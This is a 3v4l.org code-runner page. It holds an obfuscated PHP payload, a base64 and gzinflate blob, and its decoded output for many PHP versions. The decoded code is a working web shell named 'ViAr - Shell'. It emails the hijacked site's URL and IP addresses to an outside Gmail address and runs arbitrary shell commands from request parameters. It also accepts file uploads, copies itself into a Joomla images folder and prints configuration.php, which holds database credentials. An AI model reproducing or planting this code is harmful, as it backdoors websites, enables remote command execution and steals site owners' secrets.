3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php echo(gzinflate(base64_decode('rVZtT9tIEP58SPyHZS+SHRVsetVJFWBUDkyJdBAuDv0CyNrYk2SL7bV216Qp4r93dm3npVCOVo0Qsef1mWdmZwNSChlLKIXUvJi4u939zQ0+Ju4WVwq024mjMIp6/YtrZ8Q+szvnttv942Fzo3PPFdeJqApNArKLTp0ZjPDROAw+hYNrejYcXsZn/WhIb42aF5/X1IPwv6swGsZXg15tMBLpHC0oSxmZs2JC0AMSTW4KE9r4U2Om2Bjy3RTQ9AMveDxBlI4RxrlIwVngXxh2yUNHQVJJrucYPjo6DePz/kmIAfqnp3T/cXMDMgUvWF2gkU0NsgQZYMapUHo0L1gO7qIip/6Oj05OBkhTUzPcaSExyI+cBuF5fxiuOOWMZy69gwwyNmPy64eJkXiJyOk2oZYluk3PmOIZ+ce0hBVkqnW55/stT8hYW8pN0bskEch7MCCaCm4KgtKepVdIFLc4qUX9pOVNh5dEPbF488YyxMduOzYfw+G1k2SiADMyZmKUqGQCqzPgRMeD3uUwPu39G14cnYeOnYMUlOYkWFqd9I+vzsOLYTzo94fOrUd9nrMJKF8hZI7fYyFS80+D9MppacZEQs1znXSb1FG7dRW/cYb2XjVDe/UMoVEyFYQeaK4zOPzEjyTZIdEUsuzAr2UHI3lo8DeGY4HnS/GvEPxFEpFhs/58bz9oeEi9RTaPHvijhXMHhXGFvQ6oSz0sLkYBMqKt0O16tPvaHFfogPArngY2Uj7HR4ywSOFRMlkqJ98rV2G9Kp9pGyakppFxZZvYXQ8zropEc1GQcobJiBmtZJbWRywxonoQO1WgtJSlUK7Rbzu+Y+fQqraMLoPCqro7b41Cgq5kQYzEQ+O2pw8rcjvkjfy5FDc3P5MDrX+cpElkKHOQMpmT3GwQZPrSrFTCLAcBpYcvE3os8pwVaUvgAS/KShM9LyGgGr5oSgzHAU3ylK5ro2qU86W+jkPJPcsq+36H9r5BdujsryMFbJANkVeZ5iWT2trtpEyzFnlbjqnmf0q4KjPBUnLKM7Bl+Mb6STVTnqZQNGhVjX3NYIz+jdrMpnmlTc73dbQXUVzAzHrvkVUQK/ENm7X327+bPAXMzAMlScaUCjRbc6hBNjo60gtu64LX6F3ZrIaxa6d2bndrZT1SbpZ8uTwDWx2Lo/Vp4KDTg1XYXWyWb3TttJQ4t2hnjewc5uIe4jo6pLExcJ910XkZ1264axdoPJumAfNbQplq6z3STgVejpCavfBI6hVM1vRRlSSgFNEo8r4Ph8tr75LQffJoT9sTkpuhb1nGM2Ipa5R5ai+sZq2VElYn6F07Qbv2g8tamT0fwxdIXBPJbrV6iHzjS9dWy/o1mi8hiAbDUvGrEMRPYZDjFoIcIwDTrNjeLOiNN4vCi8bz8Q/fx3xSSWYOub2Nuy1A9Fz9FUF+AbWTKbKTMedZ4N8A'))); ?>
Output for 4.3.0 - 5.6.28, hhvm-3.10.0 - 3.12.0, 7.0.0 - 7.1.0
error_reporting(0); if (!isset($_SESSION['bajak'])) { $visitcount = 0; $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $body = "ada yang inject \n$web$inj"; $safem0de = @ini_get('safe_mode'); if (!$safem0de) {$security= "SAFE_MODE = OFF";} else {$security= "SAFE_MODE = ON";}; $serper=gethostbyname($_SERVER['SERVER_ADDR']); $injektor = gethostbyname($_SERVER['REMOTE_ADDR']); mail("kelelawarz@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor"); $_SESSION['bajak'] = 0; } else {$_SESSION['bajak']++;}; if(isset($_GET['clone'])){ $source = $_SERVER['SCRIPT_FILENAME']; $desti =$_SERVER['DOCUMENT_ROOT']."/images/stories/food/footer.php"; rename($source, $desti); } $safem0de = @ini_get('safe_mode'); if (!$safem0de) {$security= "SAFE_MODE : OFF";} else {$security= "SAFE_MODE : ON";} echo "<title>ViAr - Shell</title><br>"; echo "<font size=2 color=#888888><b>".$security."</b><br>"; $cur_user="(".get_current_user().")"; echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>"; echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>"; function pwd() { $cwd = getcwd(); if($u=strrpos($cwd,'/')){ if($u!=strlen($cwd)-1){ return $cwd.'/';} else{return $cwd;}; } elseif($u=strrpos($cwd,'\\')){ if($u!=strlen($cwd)-1){ return $cwd.'\\';} else{return $cwd;}; }; } echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>'; echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>'; if(isset($_POST['submit'])){ $uploaddir = pwd(); if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];}; move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name); if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){ echo "Upload Failed"; } else { echo "Upload Success to ".$uploaddir.$name." :P "; } } if(isset($_POST['command'])){ $cmd = $_POST['cmd']; echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>"; } elseif(isset($_GET['cmd'])){ $comd = $_GET['cmd']; echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>"; } elseif(isset($_GET['rf'])){ $rf = file_get_contents("../../configuration.php"); echo $rf; } else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>"; }